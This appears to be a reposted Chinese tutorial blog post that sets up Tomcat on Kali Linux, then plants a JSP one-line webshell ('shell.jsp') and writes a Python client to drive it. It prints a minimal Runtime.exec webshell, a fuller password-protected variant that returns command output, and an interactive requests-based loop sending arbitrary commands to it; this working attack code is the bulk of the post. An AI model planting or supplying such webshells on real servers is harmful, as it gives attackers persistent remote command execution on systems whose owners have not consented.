程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式師世界 >> 編程語言 >  >> 更多編程語言 >> Python

使用python連接JSP一句話木馬

編輯:Python

首先需要安裝tomcat。

去官網 http://tomcat.apache.org/ 下載對應的 Linux 版本。

這裡,我下載的是 apache-tomcat-8.5.70.tar.gz



最好提前安裝好 JDK1.8 ,因為 kali 自帶的那個可能會出現一點問題。

這是我遇到的問題,隨手記錄了一下。

https://blog.csdn.net/weixin_45254208/article/details/119897865

不過你也可以不重裝,等出了問題再重裝,萬一你的電腦就沒有我這種情況呢。

好了,回到 tomcat 的安裝這個問題上來。

解壓縮下載好的安裝包。

tar -zxvf apache-tomcat-8.5.70.tar.gz

將解壓後的目錄,移動到 /usr/local/ 目錄下。

然後,使用命令 vim /etc/profile 配置環境變量,權限不夠就加 sudo

在文檔最下方添加以下環境變量配置代碼

export CATALINA_HOME=/usr/local/software/tomcat8.5.70


使用命令 source /etc/profile 讓配置立即生效。

進入 tomcat 安裝目錄的 bin 目錄,執行 ./startup.sh,看到如圖提示代表啟動成功。


接下來才是重點,前面那都是安裝和配置環節。

tomcat 的跟目錄在 /usr/local/apache-tomcat-8.5.70/webapps/ROOT ,在該路目中寫一個 JSP 一句話木馬,名為 shell.jsp ,如下圖所示(我已提前寫好)。


最簡單的 JSP 一句話,其內容為:

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

不過,我用的是另外一個 webshell ,稍微長一點。

<%@ page language="java" contentType="text/html; charset=GBK"
pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>一句話木馬</title>
</head>
<body>
<%
if ("shell".equals(request.getParameter("pwd"))) {

java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int len = -1;
byte[] bytes = new byte[4092];
out.print("<pre>");
while ((len = input.read(bytes)) != -1) {

out.println(new String(bytes, "GBK"));
}
out.print("</pre>");
}
%>
</body>
</html>

其中,shell 是連接密碼,變量 cmd 用於接收參數。

在 Windows 本機驗證一下。


但是,既然標題說的是用python連接,那我當然不能忘了。

其實代碼十分簡單,無非就是使用 python 的 requests 庫,發送請求,傳遞參數,執行命令。

import requests
url = str(input('目標URL:')) # http://192.168.223.130:8080/shell.jsp
pwd = str(input('連接密碼:')) # 其實就是一句話木馬中的變量shell
while(True):
cmd = str(input('想要執行的命令:'))
# 將命令傳給 JSP 一句話木馬
payload = {

'pwd': '{}'.format(pwd),
'cmd': '{}'.format(cmd)
}
# 向目標url發送post請求
response = requests.post(url=url, params=payload)
# 回顯命令執行的結果
print(response.text)

結果如下:


在此基礎上,可以更加深入一點,最終開發出一個 webshell 的連接管理工具,也不是不可以。

如果本文對你有用的話,歡迎點贊收藏。


  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式師世界 All Rights Reserved